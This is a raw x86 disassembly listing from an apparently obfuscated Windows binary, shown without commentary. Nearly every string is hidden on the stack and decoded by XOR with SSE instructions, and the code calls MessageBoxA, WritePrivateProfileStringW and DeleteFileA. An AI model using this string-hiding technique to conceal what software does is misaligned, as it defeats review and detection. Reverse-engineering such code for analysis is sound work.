movaps xmmword [ebp - 0x11e0], xmm1
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
call fcn.00460c70
push eax
call fcn.00461040
add esp, 4
mov dword [ebp - 0xac0], 0x948286f8
lea edx, [ebp - 0xac0]
mov dword [ebp - 0xabc], 0x7fc70baf
mov ecx, 0x67e708
mov dword [ebp - 0xab8], 0x7159a2af
mov dword [ebp - 0xab4], 0xbc6ee7c6
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xac0]
movaps xmmword [ebp - 0xac0], xmm1
call fcn.00460c70
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0x2c18], edi
push eax
mov ecx, 0x67e820
call fcn.004610f0
mov edi, dword [ebp - 0x2c18]
jmp 0x456183
mov dword [ebp - 0xe20], 0x95858cf7
lea eax, [ebp - 0xe20]
mov dword [ebp - 0xe1c], 0x30c107e6
mov dword [ebp - 0xe18], 0x2e50a4b5
mov dword [ebp - 0xe14], 0xce019385
mov dword [ebp - 0xe10], 0x2cfb5903
mov dword [ebp - 0xe0c], 0xcfb55f79
mov dword [ebp - 0xe08], 0xad6124c8
mov dword [ebp - 0xe04], 0x9738a288
movaps xmm1, xmmword [ebp - 0xe20]
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe20], xmm1
movaps xmm1, xmmword [ebp - 0xe10]
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xe10], xmm1
mov dword [ebp - 0xe40], 0xc6a4acf8
mov dword [ebp - 0xe3c], 0x3e9c48b2
mov dword [ebp - 0xe38], 0x51cedf7
mov dword [ebp - 0xe34], 0x9c53c7a9
mov dword [ebp - 0xe30], 0x2ccb7730
mov dword [ebp - 0xe2c], 0xcfb55f79
mov dword [ebp - 0xe28], 0xad6124c8
mov dword [ebp - 0xe24], 0x9738a288
movaps xmm1, xmmword [ebp - 0xe40]
push 0x44
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x860]
push eax
movaps xmmword [ebp - 0xe40], xmm1
lea eax, [ebp - 0xe40]
movaps xmm1, xmmword [ebp - 0xe30]
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
movaps xmmword [ebp - 0xe30], xmm1
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x4565b2
mov dword [ebp - 0x9a0], 0xc8c6c792
lea ecx, [ebp - 0x9a0]
mov dword [ebp - 0x99c], 0x10af68bf
lea edx, [ecx + 1]
mov dword [ebp - 0x998], 0x4b3cc1c6
mov dword [ebp - 0x994], 0xbc6ee7e6
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x9a0]
movaps xmmword [ebp - 0x9a0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4565a0
lea eax, [ebp - 0x9a0]
jmp 0x45674d
cmp eax, 7
jne 0x456642
mov dword [ebp - 0x930], 0xc8c7c792
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x92c], 0x10af68bf
lea edx, [ecx + 1]
mov dword [ebp - 0x928], 0x4b3cc1c6
mov dword [ebp - 0x924], 0xbc6ee7e6
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x930]
movaps xmmword [ebp - 0x930], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456630
lea eax, [ebp - 0x930]
jmp 0x45674d
cmp eax, 2
jne 0x45d580
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3538]
mov dword [ebp - 0x2dc8], 0xe6f7e9a1
mov dword [ebp - 0x2dc4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2dc0], 0x4b3cc1c6
mov dword [ebp - 0x2dbc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x920], 0xc8c2c793
push eax
lea eax, [ebp - 0x2dd8]
mov dword [ebp - 0x91c], 0x57ed37bf
push eax
lea ecx, [ebp - 0x3530]
mov dword [ebp - 0x2dd8], 0xc8c2c793
mov dword [ebp - 0x2dd4], 0x57ed37bf
mov dword [ebp - 0x918], 0x4b3c888b
mov dword [ebp - 0x914], 0xbc6ee7e6
mov dword [ebp - 0x2dd0], 0x4b3c888b
mov dword [ebp - 0x2dcc], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x920]
pxor xmm1, xmmword [ebp - 0x920]
lea edx, [ecx + 1]
movaps xmmword [ebp - 0x920], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456740
lea eax, [ebp - 0x920]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x900]
call fcn.0045f900
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
cmp edi, 2
jne 0x456940
mov dword [ebp - 0x990], 0xe6b9acfe
lea ecx, [ebp - 0x990]
mov dword [ebp - 0x98c], 0x10af688f
lea edx, [ecx + 1]
mov dword [ebp - 0x988], 0x4b3cc1c6
mov dword [ebp - 0x984], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x990]
movaps xmmword [ebp - 0x990], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4567d4
sub ecx, edx
lea eax, [ebp - 0x990]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
mov dword [ebp - 0xe00], 0xe696e9ed
lea eax, [ebp - 0x430]
mov dword [ebp - 0xdfc], 0x10c868e1
mov dword [ebp - 0xdf8], 0x4b5dc1b3
mov dword [ebp - 0xdf4], 0xbc0be781
mov dword [ebp - 0xdf0], 0x2cfb5903
mov dword [ebp - 0xdec], 0xcfb55f79
mov dword [ebp - 0xde8], 0xad6124c8
mov dword [ebp - 0xde4], 0x9738a288
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe00]
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
movaps xmmword [ebp - 0xe00], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xdf0]
push eax
mov dword [ebp - 0xab0], 0xe698e9e2
lea eax, [ebp - 0xe00]
mov dword [ebp - 0xaac], 0x10c968e1
mov dword [ebp - 0xaa8], 0x4b5bc1af
mov dword [ebp - 0xaa4], 0xbc6ee7e6
movaps xmmword [ebp - 0xdf0], xmm1
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xab0]
push 0x66fe48
push eax
movaps xmmword [ebp - 0xab0], xmm1
lea eax, [ebp - 0xab0]
jmp 0x456aee
mov dword [ebp - 0x980], 0xe6b9bffe
lea ecx, [ebp - 0x980]
mov dword [ebp - 0x97c], 0x10af688f
lea edx, [ecx + 1]
mov dword [ebp - 0x978], 0x4b3cc1c6
mov dword [ebp - 0x974], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x980]
movaps xmmword [ebp - 0x980], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456987
sub ecx, edx
lea eax, [ebp - 0x980]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
mov dword [ebp - 0xe60], 0xe696e9ed
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe5c], 0x10c868e1
mov dword [ebp - 0xe58], 0x4b5dc1b3
mov dword [ebp - 0xe54], 0xbc0be781
mov dword [ebp - 0xe50], 0x2cfb5903
mov dword [ebp - 0xe4c], 0xcfb55f79
mov dword [ebp - 0xe48], 0xad6124c8
mov dword [ebp - 0xe44], 0x9738a288
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe60]
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
movaps xmmword [ebp - 0xe60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe50]
push eax
movaps xmmword [ebp - 0xe50], xmm1
lea eax, [ebp - 0xe60]
mov dword [ebp - 0xa90], 0xe698e9e2
mov dword [ebp - 0xa8c], 0x10c968e1
mov dword [ebp - 0xa88], 0x4b5bc1af
mov dword [ebp - 0xa84], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0xa90]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
push 0x66fe4c
push eax
movaps xmmword [ebp - 0xa90], xmm1
lea eax, [ebp - 0xa90]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x680704]
shr eax, 5
test al, 1
je 0x456b92
mov dword [ebp - 0x910], 0xbea1a8fe
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0x10af68bd
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0x4b3cc1c6
mov dword [ebp - 0x904], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x910]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x910], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b76
sub ecx, edx
lea eax, [ebp - 0x910]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
lea eax, [ebp - 0x900]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e8f0
sub esp, 0x18
mov dword [ebp - 0xa80], 0x88938a8e
mov dword [ebp - 0xa7c], 0x79c80ba2
lea eax, [ebp - 0xa80]
mov dword [ebp - 0xa78], 0x2a4eb5e9
mov ecx, esp
mov dword [ebp - 0xa74], 0xbc6e8285
movaps xmm1, xmmword [ebp - 0xa80]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
push eax
movaps xmmword [ebp - 0xa80], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xa60]
sub esp, 0x18
mov dword [ebp - 0xa60], 0xc8c5df90
mov dword [ebp - 0xa5c], 0x3e965dbe
mov ecx, esp
mov dword [ebp - 0xa58], 0x6509f2f7
mov dword [ebp - 0xa54], 0xbc5cd4d4
movaps xmm1, xmmword [ebp - 0xa60]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa60], xmm1
call fcn.0045ebf0
lea ecx, [ebp - 0x13e0]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xb40]
mov dword [ebp - 0xb40], 0xdbb4a6ed
lea ecx, [ebp - 0x13e0]
mov dword [ebp - 0xb3c], 0x10af26d9
mov dword [ebp - 0xb38], 0x4b3cc1c6
mov dword [ebp - 0xb34], 0xbc6ee7e6
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb40]
push 0
push eax
movaps xmmword [ebp - 0xb40], xmm1
call fcn.0045e870
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
cmp eax, 0xffffffff
je 0x456e22
mov dword [ebp - 0xb00], 0x96d987d7
lea ecx, [ebp - 0xb00]
mov dword [ebp - 0xafc], 0x7dc80afa
lea edx, [ecx + 1]
mov dword [ebp - 0xaf8], 0x2352b7e8
mov dword [ebp - 0xaf4], 0xd2409f87
mov dword [ebp - 0xaf0], 0x438c2d66
mov dword [ebp - 0xaec], 0xcfb5340b
mov dword [ebp - 0xae8], 0xad6124c8
mov dword [ebp - 0xae4], 0x9738a288
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb00]
movaps xmmword [ebp - 0xb00], xmm1
movaps xmm1, xmmword [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xaf0], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e10
lea eax, [ebp - 0xb00]
jmp 0x456eb4
mov dword [ebp - 0xb20], 0x81959cd1
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb1c], 0x7ed946e2
lea edx, [ecx + 1]
mov dword [ebp - 0xb18], 0x6544a0ae
mov dword [ebp - 0xb14], 0xcb1a8288
mov dword [ebp - 0xb10], 0x2c902b6c
mov dword [ebp - 0xb0c], 0xcfb55f79
mov dword [ebp - 0xb08], 0xad6124c8
mov dword [ebp - 0xb04], 0x9738a288
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb20]
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb10], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ea7
lea eax, [ebp - 0xb20]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x948]
call fcn.0045f7d0
cmp dword [ebx + 8], 1
jne 0x456ed7
mov eax, dword [ebp - 0x2bf4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe80], 0xe685e9f5
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe7c], 0x10ec68f6
mov dword [ebp - 0xe78], 0x4b49c1a9
mov dword [ebp - 0xe74], 0xbc1ae788
mov dword [ebp - 0xe70], 0x2cfb5903
mov dword [ebp - 0xe6c], 0xcfb55f79
mov dword [ebp - 0xe68], 0xad6124c8
mov dword [ebp - 0xe64], 0x9738a288
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe80]
movaps xmmword [ebp - 0xe80], xmm1
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe70]
push eax
push 0x66fe4c
movaps xmmword [ebp - 0xe70], xmm1
lea eax, [ebp - 0xe80]
mov dword [ebp - 0xb50], 0xe6a3e9f3
mov dword [ebp - 0xb4c], 0x10af688f
mov dword [ebp - 0xb48], 0x4b3cc1c6
mov dword [ebp - 0xb44], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0xb50]
push eax
mov dword [ebp - 0x850], 0xe6f7e9a1
lea eax, [ebp - 0xb50]
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb50], xmm1
call esi
movzx eax, byte [0x6806d8]
lea edx, [ebp - 0xea0]
mov edi, dword [ebp - 0x2c00]
mov ecx, 1
mov dword [ebp - 0xe90], 0x2cfb772d
test edi, edi
mov dword [ebp - 0xe8c], 0xcfb55f79
mov dword [ebp - 0xe88], 0xad6124c8
cmovg eax, ecx
mov dword [ebp - 0xe84], 0x9738a288
mov ecx, 0x67e708
mov dword [ebp - 0xea0], 0x859281e2
mov dword [ebp - 0xe9c], 0x77c101e4
mov dword [ebp - 0xe98], 0x2a53ade6
mov dword [ebp - 0xe94], 0x921c8282
movaps xmm1, xmmword [ebp - 0xea0]
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xea0], xmm1
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe90]
mov byte [0x6806d8], al
movaps xmmword [ebp - 0xe90], xmm1
call fcn.00460c70
push eax
call fcn.00461040
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x970], 0x8798858e
mov dword [ebp - 0x96c], 0x3ddd0deb
mov dword [ebp - 0x968], 0x384ea4b0
sub esp, 0x14
mov dword [ebp - 0x964], 0xbc00888f
mov esi, esp
movaps xmm1, xmmword [ebp - 0x850]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x970]
mov dword [ebp - 0x2bfc], esp
mov dword [ebp - 0x2bf4], esi
push dword [ebp - 0x2bfc]
movaps xmmword [ebp - 0x970], xmm1
call fcn.00461710
lea ecx, [ebp - 0x970]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571c0
sub ecx, edx
lea eax, [ebp - 0x970]
push ecx
push eax
mov ecx, esi
call fcn.00461730
mov dword [ebp - 0x960], 0x81959cd1
sub esp, 0x18
mov dword [ebp - 0x95c], 0x7ed946e2
mov esi, esp
mov dword [ebp - 0x958], 0x6544a0ae
mov ecx, esi
mov dword [ebp - 0x954], 0xbc038885
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x960]
mov dword [ebp - 0x2bf4], esi
push dword [ebp - 0x2bfc]
movaps xmmword [ebp - 0x960], xmm1
call fcn.00461710
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457263
sub ecx, edx
lea eax, [ebp - 0x960]
push ecx
push eax
mov ecx, esi
call fcn.00461730
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x22f8]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xb60]
mov dword [ebp - 0xb60], 0xb5a5acf7
lea ecx, [ebp - 0x22f8]
mov dword [ebp - 0xb5c], 0x2de127c6
mov dword [ebp - 0xb58], 0x4b3cc1c6
mov dword [ebp - 0xb54], 0xbc6ee7e6
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb60]
push 0
push eax
movaps xmmword [ebp - 0xb60], xmm1
call fcn.0045e870
cmp eax, 0xffffffff
je 0x45d5d7
push 0
lea eax, [ebp - 0x13c8]
push eax
lea ecx, [ebp - 0x22f8]
call fcn.0045e8b0
cmp eax, 0xffffffff
jne 0x4576c0
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1720]
mov dword [ebp - 0x1740], 0x8798858e
push eax
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x173c], 0x3edd0deb
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x1738], 0x395fafa3
mov dword [ebp - 0x1734], 0xd91a979f
mov dword [ebp - 0x1730], 0x45997767
mov dword [ebp - 0x172c], 0xcfb55f17
mov dword [ebp - 0x1728], 0xad6124c8
mov dword [ebp - 0x1724], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1700]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1720]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3520]
mov dword [ebp - 0x1720], 0xe6f7e9a1
mov dword [ebp - 0x171c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1718], 0x4b3cc1c6
mov dword [ebp - 0x1714], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1710], 0x2cfb5903
mov dword [ebp - 0x170c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1708], 0xad6124c8
mov dword [ebp - 0x1704], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x16e0]
mov dword [ebp - 0xec0], 0x8798858e
push eax
lea eax, [ebp - 0x1700]
mov dword [ebp - 0xebc], 0x3edd0deb
push eax
lea ecx, [ebp - 0x3518]
mov dword [ebp - 0x1700], 0x8798858e
mov dword [ebp - 0x16fc], 0x3edd0deb
mov dword [ebp - 0xeb8], 0x395fafa3
mov dword [ebp - 0xeb4], 0xd91a979f
mov dword [ebp - 0x16f8], 0x395fafa3
mov dword [ebp - 0x16f4], 0xd91a979f
mov dword [ebp - 0xeb0], 0x45997767
mov dword [ebp - 0xeac], 0xcfb55f17
mov dword [ebp - 0x16f0], 0x45997767
mov dword [ebp - 0x16ec], 0xcfb55f17
mov dword [ebp - 0xea8], 0xad6124c8
mov dword [ebp - 0xea4], 0x9738a288
mov dword [ebp - 0x16e8], 0xad6124c8
mov dword [ebp - 0x16e4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xec0]
pxor xmm1, xmmword [ebp - 0xec0]
sub esp, 0x18
movaps xmmword [ebp - 0xec0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xeb0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
push eax
movaps xmmword [ebp - 0xeb0], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x2de8], 0x81959cd1
mov dword [ebp - 0x2de4], 0x7ed946e2
mov dword [ebp - 0x2de0], 0x6544a0ae
mov dword [ebp - 0x2ddc], 0xbc038885
lea eax, [ebp - 0x2dd8]
push eax
lea eax, [ebp - 0x2de8]
push eax
lea ecx, [ebp - 0x3510]
call fcn.0045f990
lea eax, [ebp - 0x2de8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3508]
mov dword [ebp - 0x2df8], 0xe6f7e9a1
mov dword [ebp - 0x2df4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2df0], 0x4b3cc1c6
mov dword [ebp - 0x2dec], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0xb70], 0x81959cd1
push eax
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0xb6c], 0x7ed946e2
push eax
lea ecx, [ebp - 0x3500]
mov dword [ebp - 0x2e08], 0x81959cd1
mov dword [ebp - 0x2e04], 0x7ed946e2
mov dword [ebp - 0xb68], 0x6544a0ae
mov dword [ebp - 0xb64], 0xbc038885
mov dword [ebp - 0x2e00], 0x6544a0ae
mov dword [ebp - 0x2dfc], 0xbc038885
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0xb70]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045ebf0
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45dd0f
jmp 0x45d8dc
lea ecx, [ebp - 0x22f8]
mov byte [ebp - 4], 5
call fcn.0045eaa0
mov dword [ebp - 0xbb0], 0x859281e2
lea edx, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0x77c101e4
mov ecx, 0x67e708
mov dword [ebp - 0xba8], 0x77085e6
mov dword [ebp - 0xba4], 0xbc40c9c8
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xbb0]
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.00460c70
push eax
call fcn.00461040
movzx eax, byte [0x6806d8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xf00], 0xe698e9e2
mov ecx, 1
mov dword [ebp - 0xefc], 0x10dc68e1
cmovg eax, ecx
mov dword [ebp - 0xef8], 0x4b4ec1b2
mov dword [ebp - 0xef4], 0xbc0de793
mov dword [ebp - 0xef0], 0x2c945977
mov dword [ebp - 0xeec], 0xcf9b5f0b
mov dword [ebp - 0xee8], 0xad0d24ac
mov dword [ebp - 0xee4], 0x9738a2e4
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xf00]
mov byte [0x6806d8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xf00], xmm1
lea eax, [ebp - 0xf00]
mov dword [ebp - 0x850], 0x2cfb5903
